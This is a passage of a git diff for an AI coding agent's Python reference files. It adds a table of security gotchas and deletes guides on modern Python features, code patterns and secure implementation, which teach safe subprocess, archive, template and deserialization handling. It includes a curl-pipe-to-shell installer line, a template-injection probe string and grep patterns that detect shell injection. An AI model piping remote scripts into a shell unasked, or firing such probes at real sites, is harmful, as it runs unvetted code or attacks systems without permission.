all input on new CLI handlers.** Every existing handler validates input (e.g., `_resolve_subreddit`); a new subcommand that accepts subreddit/path from stdin JSON or env var without that validation creates path traversal via crafted stdin JSON. Reuse the same validation function; when input arrives from a new source, validate BEFORE any file path construction. +- **Surface all computed data in LLM prompts.** The LLM can only use data that appears in the prompt; a computed `repeat_offender_count` left out of the prompt string is dead computation. Every signal computed for classification appears in the rendered prompt. Test: "is this value in the prompt string?" +- **Define every new category.** Adding `BAN_RECOMMENDED` to a classification list without usage criteria leaves the LLM no way to distinguish it from existing categories. Each new category ships with a definition, usage criteria, and auto-mode behavior in the prompt. + +## Version-Pinned Security Gotchas + +Pinned CVEs/commits worth loading when the task touches parsing, serialization, or outbound requests. + +| Gotcha | Pin | Fix | +|--------|-----|-----| +| tar extraction writes outside target dir | CVE-2007-4559; `filter="data"` added in Python 3.12 | `tar.extractall(dir, filter="data")`; pre-3.12: `is_relative_to` containment check per member | +| `yaml.load` reaches `os.system` via `!!python/object` | CVE-2020-1747 (PyYAML FullLoader before 5.3.1) | `yaml.safe_load` | +| ML model files (`.pkl`, `.joblib`) execute code on load | CVE-2025-1716; GHSA-g8c6-8fjj-2r4m (python-socketio pickle across servers) | JSON or validated formats across trust boundaries | +| Pydantic response DTO with `extra="allow"` passes arbitrary fields to the response | Sentry commit `0c0aae90ac1` | `extra="ignore"` on response DTOs + `response_model=` on every endpoint returning DB data | +| SSRF despite string-based URL checks | CVE-2024-34351 (Next.js Server Actions); CVE-2026-40175 (axios header injection bypassing IMDSv2) | Resolve DNS, reject private/metadata ranges at the IP layer, `allow_redirects=False` | +| Jinja2 sandbox escapes via `render_template_string(user_input)` | CVE-2019-10906, CVE-2016-10745 | Render from template files; user data enters as context variables only | diff --git a/agents/python-general-engineer/references/python-modern-features.md b/agents/python-general-engineer/references/python-modern-features.md deleted file mode 100644 index 31b10f83..00000000 --- a/agents/python-general-engineer/references/python-modern-features.md +++ /dev/null @@ -1,245 +0,0 @@ -# Python Modern Features (3.11+) - -Quick reference for modern Python features and patterns. - -## Python 3.11+ Features - -### Structural Pattern Matching (3.10+) - -```python -def process_command(command: dict) -> str: - match command: - case {"action": "create", "type": "user", "data": user_data}: - return create_user(user_data) - case {"action": "delete", "type": "user", "id": user_id}: - return delete_user(user_id) - case {"action": action, **rest}: - return f"Unknown action: {action}" - case _: - return "Invalid command" - -# Pattern matching with guards -def classify_age(age: int) -> str: - match age: - case n if n < 0: - return "Invalid" - case n if n < 18: - return "Minor" - case n if n < 65: - return "Adult" - case _: - return "Senior" -``` - -### Exception Groups (3.11+) - -```python -# TaskGroup raises ExceptionGroup if any task fails -async def fetch_all(): - async with asyncio.TaskGroup() as tg: - tg.create_task(fetch_users()) - tg.create_task(fetch_orders()) - -# Catch exception groups -try: - async with asyncio.TaskGroup() as tg: - tg.create_task(task1()) - tg.create_task(task2()) -except* ValueError as eg: - print(f"Got {len(eg.exceptions)} ValueError exceptions") -except* TypeError as eg: - print(f"Got {len(eg.exceptions)} TypeError exceptions") -``` - -### Self Type (3.11+) - -```python -from typing import Self - -class Builder: - def __init__(self) -> None: - self.value = 0 - - def add(self, n: int) -> Self: - self.value += n - return self - - def multiply(self, n: int) -> Self: - self.value *= n - return self - -# Type inference works with method chaining -result = Builder().add(5).multiply(2).add(3) # Type is Builder -``` - -### NotRequired in TypedDict (3.11+) - -```python -from typing import TypedDict, NotRequired - -class UserDict(TypedDict): - id: int - name: str - email: str - age: NotRequired[int] # Optional field - -user: UserDict = {"id": 1, "name": "Alice", "email": "alice@example.com"} -# age is optional -``` - -## Python 3.12+ Features - -### PEP 695 Type Parameter Syntax - -```python -# Old style -from typing import TypeVar, Generic - -T = TypeVar("T") - -class Container(Generic[T]): - def __init__(self, value: T) -> None: - self.value = value - -# New PEP 695 style (3.12+) -class Container[T]: - def __init__(self, value: T) -> None: - self.value = value - -def first[T](items: list[T]) -> T | None: - return items[0] if items else None - -# Type aliases -type Point = tuple[float, float] -type Vector[T] = list[T] -``` - -## asyncio.TaskGroup Patterns - -```python -import asyncio - -# Structured concurrency - all tasks must complete -async def fetch_all_data() -> dict: - results = {} - - async with asyncio.TaskGroup() as tg: - users_task = tg.create_task(fetch_users(), name="users") - orders_task = tg.create_task(fetch_orders(), name="orders") - - results["users"] = users_task.result() - results["orders"] = orders_task.result() - return results - -# With timeout -async def fetch_with_timeout() -> dict: - try: - async with asyncio.timeout(30): - async with asyncio.TaskGroup() as tg: - users_task = tg.create_task(fetch_users()) - orders_task = tg.create_task(fetch_orders()) - - return { - "users": users_task.result(), - "orders": orders_task.result(), - } - except TimeoutError: - return {"error": "Request timed out"} -``` - -## Pydantic v2 Patterns - -```python -from pydantic import BaseModel, Field, ConfigDict, field_validator, computed_field - -class User(BaseModel): - model_config = ConfigDict( - str_strip_whitespace=True, - validate_assignment=True, - extra="forbid", - ) - - id: int - username: str = Field(min_length=3, max_length=50) - email: str = Field(pattern=r"^[\w\.-]+@[\w\.-]+\.\w+$") - age: int = Field(ge=0, le=150) - - @field_validator("email") - @classmethod - def normalize_email(cls, v: str) -> str: - return v.lower() - - @computed_field - @property - def display_name(self) -> str: - return f"{self.username} ({self.email})" -``` - -## Modern Package Management with uv - -```bash -# Install uv -curl -LsSf https://astral.sh/uv/install.sh | sh - -# Create project -uv init my-project -cd my-project - -# Add dependencies -uv add fastapi uvicorn pydantic -uv add --dev pytest ruff mypy - -# Run commands -uv run python app.py -uv run pytest - -# Sync environment -uv sync -``` - -## Ruff Configuration - -```toml -# pyproject.toml -[tool.ruff] -target-version = "py311" -line-length = 88 - -[tool.ruff.lint] -select = ["E", "W", "F", "I", "B", "C4", "UP", "SIM", "RUF"] -ignore = ["E501"] - -[tool.ruff.format] -quote-style = "double" -``` - -## FastAPI Modern Patterns - -```python -from fastapi import FastAPI, Depends -from contextlib import asynccontextmanager -from typing import Annotated - -@asynccontextmanager -async def lifespan(app: FastAPI): - # Startup - app.state.db = await create_db_pool() - yield - # Shutdown - await app.state.db.close() - -app = FastAPI(lifespan=lifespan) - -async def get_db(): - async with app.state.db.acquire() as conn: - yield conn - -DB = Annotated[Connection, Depends(get_db)] - -@app.get("/users/{user_id}") -async def get_user(user_id: int, db: DB) -> User: - user = await db.fetchrow("SELECT * FROM users WHERE id = $1", user_id) - if not user: - raise HTTPException(404, "User not found") - return User(**user) -``` diff --git a/agents/python-general-engineer/references/python-patterns.md b/agents/python-general-engineer/references/python-patterns.md deleted file mode 100644 index 2094e635..00000000 --- a/agents/python-general-engineer/references/python-patterns.md +++ /dev/null @@ -1,347 +0,0 @@ -# Python Code Patterns and Best Practices - -> Reference file for python-general-engineer agent. Loaded as context during Python development tasks. - -## Type Hints Everywhere - -Use type hints on all function signatures, class attributes, and module-level variables. Modern Python (3.12+) supports cleaner syntax. - -```python -# Use builtin generics (3.9+) — no need for typing.List, typing.Dict -def process(items: list[str]) -> dict[str, int]: - return {item: len(item) for item in items} - -# Union with | operator (3.10+) -def find(key: str) -> str | None: - ... - -# Type parameter syntax (3.12+) -type Vector[T] = list[T] - -def first[T](items: list[T]) -> T: - return items[0] -``` - -## Dataclasses vs NamedTuple vs TypedDict - -Each serves a different purpose. Choose based on mutability and usage context. - -```python -from dataclasses import dataclass, field -from typing import NamedTuple, TypedDict - -# Dataclass — mutable structured data, methods, defaults, validation -@dataclass -class User: - name: str - email: str - roles: list[str] = field(default_factory=list) - - @property - def is_admin(self) -> bool: - return "admin" in self.roles - -# NamedTuple — immutable record, works as dict key, unpacking -class Coordinate(NamedTuple): - lat: float - lon: float - -point = Coordinate(40.7, -74.0) -lat, lon = point # unpacking works - -# TypedDict — typed dict for JSON-like data, API responses -class APIResponse(TypedDict): - status: int - data: list[dict[str, str]] - error: str | None - -# When to use: -# - Dataclass: domain objects, mutable state, methods needed -# - NamedTuple: immutable records, used as keys, lightweight -# - TypedDict: JSON payloads, external API shapes, config dicts -``` - -## Protocol Classes for Structural Typing - -Protocols define interfaces without inheritance. Objects satisfy a Protocol if they have the right methods — duck typing with type safety. - -```python -from typing import Protocol, runtime_checkable - -@runtime_checkable -class Renderable(Protocol): - def render(self) -> str: ... - -class HTMLWidget: - def render(self) -> str: - return "
widget
" - -class MarkdownDoc: - def render(self) -> str: - return "# Document" - -# Both satisfy Renderable without inheriting from it -def display(item: Renderable) -> None: - print(item.render()) - -display(HTMLWidget()) # works -display(MarkdownDoc()) # works - -# runtime_checkable allows isinstance checks -assert isinstance(HTMLWidget(), Renderable) -``` - -## Context Managers with @contextmanager - -The `@contextmanager` decorator turns a generator function into a context manager. Simpler than writing `__enter__`/`__exit__`. - -```python -from contextlib import contextmanager -import time - -@contextmanager -def timer(label: str): - start = time.perf_counter() - try: - yield - finally: - elapsed = time.perf_counter() - start - print(f"{label}: {elapsed:.3f}s") - -with timer("database query"): - results = db.execute(query) - -# Async version -from contextlib import asynccontextmanager - -@asynccontextmanager -async def managed_connection(url: str): - conn = await connect(url) - try: - yield conn - finally: - await conn.close() -``` - -## Dependency Injection Patterns - -Pass dependencies in so code stays testable and configurable. - -```python -from dataclasses import dataclass, field -from typing import Protocol - -class EmailSender(Protocol): - def send(self, to: str, body: str) -> None: ... - -class SMTPSender: - def send(self, to: str, body: str) -> None: - # real SMTP logic - ... - -class FakeSender: - def __init__(self): - self.sent: list[tuple[str, str]] = [] - - def send(self, to: str, body: str) -> None: - self.sent.append((to, body)) - -@dataclass -class NotificationService: - sender: EmailSender # injected, not hard-coded - - def notify_user(self, user_email: str, message: str) -> None: - self.sender.send(user_email, message) - -# Production -service = NotificationService(sender=SMTPSender()) - -# Testing -fake = FakeSender() -service = NotificationService(sender=fake) -service.notify_user("a@b.com", "hello") -assert len(fake.sent) == 1 -``` - -## functools: lru_cache, singledispatch, wraps - -The `functools` module provides powerful function composition tools. - -```python -from functools import lru_cache, singledispatch, wraps - -# lru_cache — memoize expensive pure functions -@lru_cache(maxsize=512) -def fibonacci(n: int) -> int: - if n < 2: - return n - return fibonacci(n - 1) + fibonacci(n - 2) - -# singledispatch — function overloading by first argument type -@singledispatch -def serialize(obj) -> str: - raise TypeError(f"Cannot serialize {type(obj)}") - -@serialize.register -def _(obj: str) -> str: - return f'"{obj}"' - -@serialize.register -def _(obj: int) -> str: - return str(obj) - -@serialize.register -def _(obj: list) -> str: - return "[" + ", ".join(serialize(x) for x in obj) + "]" - -# wraps — preserve metadata on decorators -def retry(max_attempts: int = 3): - def decorator(func): - @wraps(func) # preserves __name__, __doc__, etc. - def wrapper(*args, **kwargs): - for attempt in range(max_attempts): - try: - return func(*args, **kwargs) - except Exception: - if attempt == max_attempts - 1: - raise - return wrapper - return decorator -``` - -## itertools Patterns - -Standard library tools for efficient iteration. - -```python -from itertools import chain, groupby, islice, batched - -# chain — flatten multiple iterables -all_items = list(chain(list_a, list_b, list_c)) - -# chain.from_iterable — flatten list of lists -nested = [[1, 2], [3, 4], [5]] -flat = list(chain.from_iterable(nested)) # [1, 2, 3, 4, 5] - -# groupby — group sorted items by key -from operator import attrgetter -users_by_role = { - role: list(group) - for role, group in groupby( - sorted(users, key=attrgetter("role")), - key=attrgetter("role"), - ) -} - -# islice — lazy slicing of any iterable -first_ten = list(islice(infinite_generator(), 10)) - -# batched (3.12+) — chunk iterable into fixed-size groups -for batch in batched(range(25), 10): - process_batch(batch) # (0..9), (10..19), (20..24) -``` - -## Enum with auto() for State Machines - -Enums provide type-safe named constants. Combine with `auto()` and `match/case` for state machines. - -```python -from enum import Enum, auto - -class OrderStatus(Enum): - PENDING = auto() - CONFIRMED = auto() - SHIPPED = auto() - DELIVERED = auto() - CANCELLED = auto() - -def advance(status: OrderStatus) -> OrderStatus: - match status: - case OrderStatus.PENDING: - return OrderStatus.CONFIRMED - case OrderStatus.CONFIRMED: - return OrderStatus.SHIPPED - case OrderStatus.SHIPPED: - return OrderStatus.DELIVERED - case OrderStatus.DELIVERED | OrderStatus.CANCELLED: - raise ValueError(f"Cannot advance from {status.name}") -``` - -## match/case (Structural Pattern Matching, 3.10+) - -Pattern matching with destructuring, guards, and type checks. - -```python -# Match on structure, not just value -def handle_command(command: dict) -> str: - match command: - case {"action": "create", "name": str(name)}: - return f"Creating {name}" - case {"action": "delete", "id": int(id_)} if id_ > 0: - return f"Deleting #{id_}" - case {"action": str(action)}: - return f"Unknown action: {action}" - case _: - return "Invalid command" - -# Match on class instances -@dataclass -class Point: - x: float - y: float - -def classify(point: Point) -> str: - match point: - case Point(x=0, y=0): - return "origin" - case Point(x=0, y=y): - return f"y-axis at {y}" - case Point(x=x, y=0): - return f"x-axis at {x}" - case Point(x=x, y=y) if x == y: - return f"diagonal at {x}" - case _: - return "general" -``` - -## Async Patterns: TaskGroup (3.11+), Async Generators - -Modern async patterns for concurrent work. - -```python -import asyncio - -# TaskGroup — structured concurrency (3.11+) -async def fetch_all(urls: list[str]) -> list[Response]: - results = [] - async with asyncio.TaskGroup() as tg: - for url in urls: - task = tg.create_task(fetch(url)) - results.append(task) - return [t.result() for t in results] - # If any task raises, all others are cancelled - -# Async generator — stream results as they arrive -async def stream_results(query: str): - async with aiohttp.ClientSession() as session: - async with session.get(f"/search?q={query}") as resp: - async for line in resp.content: - yield json.loads(line) - -# Consuming async generators -async def process_stream(): - async for result in stream_results("python"): - print(result) - -# Semaphore for rate limiting -async def bounded_fetch(urls: list[str], max_concurrent: int = 10): - semaphore = asyncio.Semaphore(max_concurrent) - - async def fetch_one(url: str) -> Response: - async with semaphore: - return await fetch(url) - - async with asyncio.TaskGroup() as tg: - tasks = [tg.create_task(fetch_one(url)) for url in urls] - return [t.result() for t in tasks] -``` diff --git a/agents/python-general-engineer/references/python-preferred-patterns.md b/agents/python-general-engineer/references/python-preferred-patterns.md deleted file mode 100644 index 85fa1c21..00000000 --- a/agents/python-general-engineer/references/python-preferred-patterns.md +++ /dev/null @@ -1,427 +0,0 @@ -# Python General Engineer - Preferred Patterns - -Action-first patterns for correct Python code. Each section leads with what to do and why, followed by detection commands for finding violations. - -## Start With Concrete Classes, Add Abstraction When Needed - -Write a plain class first. Introduce `Protocol` (not ABC) when you have two or more implementations that need a shared interface. Protocols use structural subtyping -- any class with matching methods satisfies the protocol without inheritance. - -```python -# Simple concrete class -- add abstraction later if needed -class UserRepository: - def get(self, id: int) -> User: - return query_db(id) - - def save(self, user: User) -> None: - insert_db(user) - -# When you need interface abstraction, use Protocol (structural subtyping) -from typing import Protocol - -class UserRepository(Protocol): - def get(self, id: int) -> User: ... - def save(self, user: User) -> None: ... - -# Any class with these methods satisfies the protocol -# No inheritance needed! -``` - -**When ABCs are appropriate**: -- You have 2+ implementations already -- You're building a framework with extension points -- You need method implementation sharing via inheritance - -**Why this matters**: ABCs before a second implementation add a layer of indirection with no proven benefit. Code becomes harder to navigate, and the abstraction often gets the interface wrong because it was designed without knowing the second consumer's needs. - -**Detection**: `grep -rn 'class.*ABC' --include="*.py" | grep -v 'test'` finds ABC usage to audit for premature abstraction. - ---- - -## Keep CPU-Bound Code Synchronous - -Use `async/await` only for I/O-bound operations (network, database, file). Pure computation gains nothing from async -- it adds overhead and complexity without concurrency benefit. Use `asyncio.TaskGroup` to fan out concurrent I/O calls. - -```python -# Synchronous for pure computation -- no async overhead -def calculate_total(items: list[Item]) -> float: - return sum(item.price * item.quantity for item in items) - -# Async only when doing actual I/O -async def fetch_and_calculate(user_id: int) -> float: - async with httpx.AsyncClient() as client: - response = await client.get(f"/users/{user_id}/items") - items = [Item(**item) for item in response.json()] - return calculate_total(items) # Sync calculation -- no await needed - -# Use TaskGroup for concurrent I/O (Python 3.11+) -async def fetch_multiple_users(user_ids: list[int]) -> list[float]: - async with asyncio.TaskGroup() as tg: - tasks = [ - tg.create_task(fetch_and_calculate(uid)) - for uid in user_ids - ] - return [task.result() for task in tasks] -``` - -**When to use async**: -- Network requests (HTTP, WebSocket) -- Database queries -- File I/O with aiofiles -- Multiple concurrent I/O operations - -**Why this matters**: `async def` on a CPU-bound function adds the overhead of coroutine scheduling with zero concurrency benefit. Callers must now use `await`, propagating async through the call stack for no gain. - -**Detection**: `grep -rn 'async def' --include="*.py" | xargs grep -L 'await'` finds async functions that never await -- likely CPU-bound code wrapped in async unnecessarily. - ---- - -## Fix Type Errors Instead of Suppressing Them - -Define proper types for your data structures using `TypedDict` or Pydantic models. Each `# type: ignore` is a suppressed bug report -- fix the underlying type mismatch instead. - -```python -from typing import TypedDict - -class UserDict(TypedDict): - id: int - name: str - -class ResponseData(TypedDict): - users: list[UserDict] - -def process_data(data: ResponseData) -> list[User]: - return [User(id=item["id"], name=item["name"]) for item in data["users"]] - -# Or use Pydantic for runtime validation -from pydantic import BaseModel - -class UserData(BaseModel): - id: int - name: str - -class Response(BaseModel): - users: list[UserData] - -def process_data(data: dict) -> list[User]: - response = Response(**data) # Validates at runtime - return [User(id=u.id, name=u.name) for u in response.users] -``` - -**When `# type: ignore` is acceptable**: -- `# type: ignore[specific-error] # Reason: explanation` with specific error code and justification -- Working around bugs in third-party type stubs -- Interfacing with genuinely untyped C extensions (rare) - -**Why this matters**: Each `# type: ignore` disables the type checker at that line. Refactoring becomes dangerous -- the checker cannot warn about type mismatches in suppressed regions. Proper types catch bugs at check time instead of runtime. - -**Detection**: `grep -rn 'type: ignore' --include="*.py" | grep -v 'type: ignore\[' ` finds blanket suppressions without specific error codes. - ---- - -## Use None as Default for Mutable Arguments - -Never use mutable objects (`[]`, `{}`, `set()`) as default parameter values. Python creates defaults once at function definition -- all calls share the same object. Use `None` and create a new instance inside the function body. - -```python -def add_item(item: str, items: list[str] | None = None) -> list[str]: - if items is None: - items = [] - items.append(item) - return items - -# Even better: don't mutate the input -def add_item(item: str, items: list[str] | None = None) -> list[str]: - items = items or [] - return [*items, item] - -# For dataclasses, use field(default_factory=...) -from dataclasses import dataclass, field - -@dataclass -class Cart: - items: list[str] = field(default_factory=list) # Correct! - # items: list[str] = [] # Wrong! Shared across instances -``` - -**Why this matters**: Mutable default arguments are shared across all calls to the function. The first call mutates the default, and every subsequent call sees the mutation. This produces mysterious state leakage between unrelated callers. - -**Detection**: Ruff flags this as `B006`. Run `ruff check . --select B006` to find all mutable default arguments. - ---- - -## Build Strings With join(), Not Loop Concatenation - -Use `"\n".join(items)` or a list-then-join pattern to assemble strings. String concatenation in a loop creates a new string object on every iteration because Python strings are immutable, giving O(n^2) time complexity. - -```python -# Direct join for simple cases -def build_message(items: list[str]) -> str: - return "\n".join(items) - -# Join with formatting -def build_message(items: list[str]) -> str: - return "\n".join(f"Item: {item}" for item in items) - -# List-then-join for complex assembly -def build_html(items: list[str]) -> str: - parts = ["
    "] - for item in items: - parts.append(f"
  • {item}
    • ") - parts.append("
") - return "\n".join(parts) -``` - -**Why this matters**: `+=` on strings in a loop copies the entire accumulated string on every iteration. For 1000 items, that is 500,000 character copies. `join()` allocates once and copies each string exactly once -- O(n) instead of O(n^2). - -**Detection**: `grep -rn '+= .*f"' --include="*.py"` and `grep -rn '+= "' --include="*.py"` find string concatenation patterns in loops. - ---- - -## Catch Specific Exceptions, Never Bare except - -Always specify the exception type in `except` clauses. Use `except Exception` as the broadest acceptable catch-all -- it excludes `SystemExit`, `KeyboardInterrupt`, and `GeneratorExit`, which must propagate for graceful shutdown. - -```python -# Specific exceptions -- best practice -try: - process_data() -except ValueError as e: - log.error(f"Invalid data: {e}") -except ConnectionError as e: - log.error(f"Network error: {e}") - -# Exception as catch-all (doesn't catch system exceptions) -try: - process_data() -except Exception as e: - log.error(f"Error: {e}", exc_info=True) - raise # Re-raise if you can't handle it - -# Python 3.11+ exception groups for concurrent error handling -try: - async with asyncio.TaskGroup() as tg: - tg.create_task(task1()) - tg.create_task(task2()) -except* ValueError as eg: - for exc in eg.exceptions: - log.error(f"Validation error: {exc}") -except* ConnectionError as eg: - for exc in eg.exceptions: - log.error(f"Network error: {exc}") -``` - -**Why this matters**: Bare `except:` catches `KeyboardInterrupt` (Ctrl+C won't work), `SystemExit` (process won't terminate), and `GeneratorExit` (generators can't clean up). It also hides programming errors during development by silently swallowing `TypeError`, `AttributeError`, and other bugs. - -**Detection**: `grep -rn 'except:' --include="*.py"` finds bare except clauses. Also check for `except Exception` without `raise` -- swallowing errors silently. - ---- - -## Use Structured Logging, Not print() - -Replace `print()` with `logging.getLogger(__name__)` and structured log calls. Loggers provide severity levels, timestamps, structured metadata, and routing to different destinations. `print()` provides none of these. - -```python -import logging - -logger = logging.getLogger(__name__) - -def process_order(order_id: int): - logger.info("Processing order", extra={"order_id": order_id}) - order = get_order(order_id) - logger.debug("Order retrieved", extra={"order_id": order_id, "status": order.status}) - process(order) - logger.info("Order processed successfully", extra={"order_id": order_id}) - -# Structured logging with JSON formatter -import json - -class JSONFormatter(logging.Formatter): - def format(self, record: logging.LogRecord) -> str: - log_data = { - "timestamp": self.formatTime(record), - "level": record.levelname, - "message": record.getMessage(), - "logger": record.name, - } - # Add extra fields - for key, value in record.__dict__.items(): - if key not in ["name", "msg", "args", "created", "levelname", ...]: - log_data[key] = value - return json.dumps(log_data) -``` - -**When print() is acceptable**: -- CLI applications for user-facing output -- Debug scripts (not production services) -- Development/testing only - -**Why this matters**: `print()` has no severity levels (cannot filter warnings from info), no timestamps, no structured metadata for log aggregation, and no way to route output to files, syslog, or monitoring systems. Sensitive data in `print()` goes straight to stdout with no redaction. - -**Detection**: `grep -rn 'print(' --include="*.py" | grep -v '_test.py\|test_\|cli\|__main__'` finds print calls in non-test, non-CLI code. - ---- - -## Use Context Managers for Resource Cleanup - -Use `with` statements for any resource that needs cleanup: files, database connections, locks, network sockets. Context managers guarantee cleanup runs even when exceptions occur, eliminating resource leaks. - -```python -# File operations -def process_file(path: str): - with open(path) as f: - data = f.read() - return process(data) # File automatically closed - -# Multiple context managers on one line -def copy_file(src: str, dst: str): - with open(src) as src_f, open(dst, "w") as dst_f: - dst_f.write(src_f.read()) - -# Async context managers -async def fetch_data(): - async with get_async_connection() as conn: - data = await conn.fetch() - return data # Connection automatically closed - -# Custom context manager with transaction semantics -from contextlib import contextmanager - -@contextmanager -def transaction(db): - db.begin() - try: - yield db - db.commit() - except Exception: - db.rollback() - raise - -with transaction(db): - db.execute("INSERT ...") - db.execute("UPDATE ...") -``` - -**Always use context managers for**: -- File operations -- Database connections -- Locks (`threading.Lock`, `asyncio.Lock`) -- Network connections -- Any resource that needs cleanup - -**Why this matters**: Manual cleanup with `try/finally` is verbose and easy to forget. A missing `finally` block means exceptions leak resources. Context managers make correct cleanup the default path. - -**Detection**: `grep -rn 'open(' --include="*.py" | grep -v 'with \|mock\|test'` finds file opens that may lack context managers. - ---- - -## Import Specific Names, Never Use Star Imports - -Import specific names (`from module import User, Order`) or import the module itself (`import module`). Star imports (`from module import *`) pollute the namespace with unknown names, making it impossible to trace where a symbol originated. - -```python -# Import specific names -from module import User, Order, Product - -# Or import the module for namespaced access -import module -user = module.User() - -# For many imports, use explicit parenthesized form -from typing import ( - Any, TypeVar, Protocol, - Callable, Sequence, Mapping, -) - -# Type-only imports to avoid circular dependencies -from typing import TYPE_CHECKING - -if TYPE_CHECKING: - from services import UserService # Only used in type annotations -``` - -**When star imports are acceptable**: -- In `__init__.py` for public API definition with `__all__` explicitly defined - -**Why this matters**: Star imports make it impossible to know where a name came from without checking every imported module. Name conflicts between modules are silent -- the last import wins. IDE autocomplete and refactoring tools cannot trace symbol origins. - -**Detection**: `grep -rn 'from .* import \*' --include="*.py" | grep -v '__init__'` finds star imports outside `__init__.py`. - ---- - -## Use Truthiness Directly, Not == True/False - -Test boolean values with `if value:` and `if not value:`. For `None` checks, use `is None` / `is not None` (identity, not equality). Avoid `== True` and `== False` comparisons. - -```python -if value: - do_something() - -if not flag: - do_other_thing() - -# For None checks, use identity comparison -if value is None: - handle_none() - -if value is not None: - handle_value() -``` - -**Exception -- Peewee ORM**: -```python -# Peewee ORM field comparisons require == True for SQL generation -query = User.select().where(User.active == True) -# E712 should be suppressed for this specific ORM pattern -``` - -**Why this matters**: `== True` has unexpected behavior with non-boolean truthy values: `1 == True` is `True` but `2 == True` is `False`, even though `bool(2)` is `True`. Direct truthiness testing is both more correct and more readable. - -**Detection**: Ruff flags this as `E712`. Run `ruff check . --select E712` to find all `== True` / `== False` comparisons. - ---- - -## Limit Decorator Stacking to 1-2 Decorators - -Keep decorator usage to one or two per function. When behavior requires more cross-cutting concerns, extract them into a class with explicit configuration or inline the logic where it is needed. - -```python -# Clean: one decorator for the primary cross-cutting concern -@timer -def fetch_user(user_id: int) -> User: - return api.get(f"/users/{user_id}") - -# For complex behavior, use a class with explicit configuration -class UserFetcher: - def __init__(self, cache_ttl: int = 300): - self.cache = Cache(ttl=cache_ttl) - self.rate_limiter = RateLimiter(calls=10, period=1) - - def fetch(self, user_id: int) -> User: - if cached := self.cache.get(user_id): - return cached - - with self.rate_limiter: - user = api.get(f"/users/{user_id}") - - self.cache.set(user_id, user) - return user - -# Or make retry logic explicit where needed -def fetch_user(user_id: int) -> User: - for attempt in range(3): - try: - return api.get(f"/users/{user_id}") - except APIError: - if attempt == 2: - raise - time.sleep(1) -``` - -**When decorators are appropriate**: -- Single cross-cutting concern (`@property`, `@staticmethod`) -- Framework requirements (`@app.route`, `@pytest.fixture`) -- One or two simple decorators maximum - -**Why this matters**: Decorator execution order is bottom-up (closest to the function runs first), but readers scan top-down. A stack of 5+ decorators makes the actual call path opaque, complicates debugging (stack traces include wrapper frames), and makes testing difficult since each decorator adds a layer of indirection. - -**Detection**: `grep -B5 'def ' --include="*.py" -rn | grep -c '@'` gives a rough count of decorator usage. Functions preceded by 3+ `@` lines warrant review. diff --git a/agents/python-general-engineer/references/python-security.md b/agents/python-general-engineer/references/python-security.md deleted file mode 100644 index 919f891b..00000000 --- a/agents/python-general-engineer/references/python-security.md +++ /dev/null @@ -1,490 +0,0 @@ -# Python Secure Implementation Patterns - -Secure-by-default patterns for Python 3.11+ applications. Each section shows what correct code looks like and why it matters. Load this reference when the task involves security, auth, injection, XSS, CSRF, SSRF, deserialization, file handling, or any vulnerability-related code. - ---- - -## Use List Arguments for Subprocess Calls - -Pass command arguments as a list with `shell=False` (the default). This prevents shell metacharacter injection because each argument is passed directly to the target binary as a single argv entry. - -```python -import subprocess - -# Correct: list args, no shell -subprocess.run(["git", "clone", "--", user_url], check=True) -subprocess.run(["convert", user_input, "output.png"], check=True) - -# Use "--" separator when user input could start with "-" -# to prevent argument injection even without a shell -subprocess.run(["git", "checkout", "--", branch_name], check=True) -``` - -**Why this matters**: `shell=True` interprets metacharacters (`;`, `|`, `&`, `$()`) as shell syntax, allowing attackers to chain arbitrary commands. List arguments bypass the shell entirely. CVE-2021-22205 (GitLab ExifTool, CVSS 10.0) is a canonical example of command injection via shelled invocation. - -**Detection**: -```bash -rg -n 'subprocess\.(run|call|Popen|check_call|check_output).*shell\s*=\s*True' . -rg -n 'os\.system\(|os\.popen\(' . -``` - ---- - -## Use tarfile Extraction Filters for Safe Archive Handling - -On Python 3.12+, use `filter="data"` when extracting archives from untrusted sources. On older Python, validate each member path before extraction. - -```python -import tarfile -from pathlib import Path - -# Correct (Python 3.12+): filter rejects unsafe members -with tarfile.open(uploaded_archive) as tar: - tar.extractall(target_dir, filter="data") - -# Correct (pre-3.12): manual containment check -def safe_extract(tar: tarfile.TarFile, target: str) -> None: - target_path = Path(target).resolve() - for member in tar.getmembers(): - member_path = (target_path / member.name).resolve() - if not member_path.is_relative_to(target_path): - raise RuntimeError(f"unsafe path in archive: {member.name}") - tar.extractall(target) -``` - -For zipfile, validate paths even though Python 3.6.2+ sanitizes `..`, because absolute paths and symlinks remain risks on some platforms: - -```python -import zipfile -from pathlib import Path - -def safe_extract_zip(zf: zipfile.ZipFile, target: str) -> None: - target_path = Path(target).resolve() - for info in zf.infolist(): - member_path = (target_path / info.filename).resolve() - if not member_path.is_relative_to(target_path): - raise RuntimeError(f"unsafe path in zip: {info.filename}") - zf.extractall(target) -``` - -**Why this matters**: CVE-2007-4559 is eighteen years old and still recurring. Tar archives can contain `..` or absolute paths that write anywhere the process has permission. The `filter="data"` parameter was added specifically to address this. - -**Detection**: -```bash -rg -n 'tarfile\.open|\.extractall\(' . --type py -rg -n "filter\s*=\s*['\"]data['\"]" . --type py -``` - ---- - -## Use Template Files Instead of Template Strings - -Render templates from disk files, never from user-supplied strings. Flask's `render_template_string` with user input is the canonical SSTI vulnerability. - -```python -# Correct: render from a file with user data as context variables -from flask import render_template - -@app.route("/preview") -def preview(): - return render_template("preview.html", body=request.args["body"]) - -# Correct: Django always renders from files by default -from django.shortcuts import render - -def preview(request): - return render(request, "preview.html", {"body": request.GET["body"]}) - -# Correct: FastAPI Jinja2 with literal template name -from fastapi.templating import Jinja2Templates -templates = Jinja2Templates(directory="templates") - -@app.get("/page") -async def page(request: Request): - return templates.TemplateResponse("page.html", {"request": request}) -``` - -**Why this matters**: `render_template_string(user_input)` passes attacker-controlled text through Jinja2's template engine, which evaluates expressions like `{{7*'7'}}` and can reach code execution through sandbox escapes (CVE-2019-10906, CVE-2016-10745). - -**Detection**: -```bash -rg -n 'render_template_string|jinja2\.Template\(' . --type py -``` - ---- - -## Use JSON or yaml.safe_load for Untrusted Data - -Deserialize untrusted data with `json.loads` or `yaml.safe_load`. Never use `pickle`, `marshal`, `cloudpickle`, `dill`, or `joblib` on data from outside the trust boundary. - -```python -import json -import yaml - -# Correct: JSON for API payloads and configuration -config = json.loads(request_body) - -# Correct: yaml.safe_load restricts to primitive types -config = yaml.safe_load(config_string) - -# Correct: Pydantic for structured validation -from pydantic import BaseModel - -class UserConfig(BaseModel): - theme: str - language: str - -validated = UserConfig.model_validate_json(request_body) -``` - -**Why this matters**: `pickle.loads` executes arbitrary code via `__reduce__`. `yaml.load` without `SafeLoader` allows 